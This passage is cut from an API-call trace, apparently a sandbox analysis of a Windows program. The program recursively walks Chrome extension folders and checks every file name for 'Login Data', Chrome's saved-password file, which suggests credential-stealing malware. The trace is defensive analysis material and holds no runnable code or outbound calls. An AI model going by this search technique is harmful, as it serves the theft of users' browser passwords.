Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*" [0056.626] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.627] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.627] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.627] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.627] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.627] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.627] lstrlenA (lpString="vi") returned 2 [0056.627] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.627] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" [0056.627] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi" [0056.627] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*" [0056.627] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.627] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.627] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.627] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.627] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.627] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.627] lstrlenA (lpString="zh_CN") returned 5 [0056.627] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.627] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" [0056.627] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN" [0056.627] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*" [0056.627] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.627] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.627] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.627] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.627] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.627] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.627] lstrlenA (lpString="zh_TW") returned 5 [0056.628] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.628] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" [0056.628] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW" [0056.628] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*" [0056.628] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.628] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.628] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.628] FindClose (in: hFindFile=0x2dc978 | out: hFindFile=0x2dc978) returned 1 [0056.628] lstrcpyA (in: lpString1=0x2dbfc0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0056.628] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.628] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned 120 [0056.628] lstrlenA (lpString="_metadata") returned 9 [0056.628] lstrcpyA (in: lpString1=0x2dc0c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0056.628] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" [0056.628] lstrcpyA (in: lpString1=0x2dc1d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata" [0056.628] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*" [0056.628] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.628] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Login Data") returned 0x0 [0056.628] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0056.629] lstrcpyA (in: lpString1=0x2da9d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.629] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0056.629] lstrlenA (lpString="apdfllckaahabafndbhieahigkjlhalf") returned 32 [0056.629] lstrcpyA (in: lpString1=0x2daab0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0056.629] lstrcpyA (in: lpString1=0x2dabb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*" [0056.629] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x21f3e0 | out: lpFindFileData=0x21f3e0) returned 0x2dc8f8 [0056.629] lstrcpyA (in: lpString1=0x2dbcb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0056.629] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned 114 [0056.629] lstrlenA (lpString="14.1_0") returned 6 [0056.629] lstrcpyA (in: lpString1=0x2dbdb8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\", lpString2="14.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0056.629] lstrcpyA (in: lpString1=0x2dbec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*" [0056.629] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 0x2dc938 [0056.629] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0056.629] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0056.629] lstrcpyA (in: lpString1=0x2dbfc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0056.629] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned 121 [0056.629] lstrlenA (lpString="_locales") returned 8 [0056.629] lstrcpyA (in: lpString1=0x2dc0d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.629] lstrcpyA (in: lpString1=0x2dc1e0, lpString2="C:\\Users\\aDU0VK 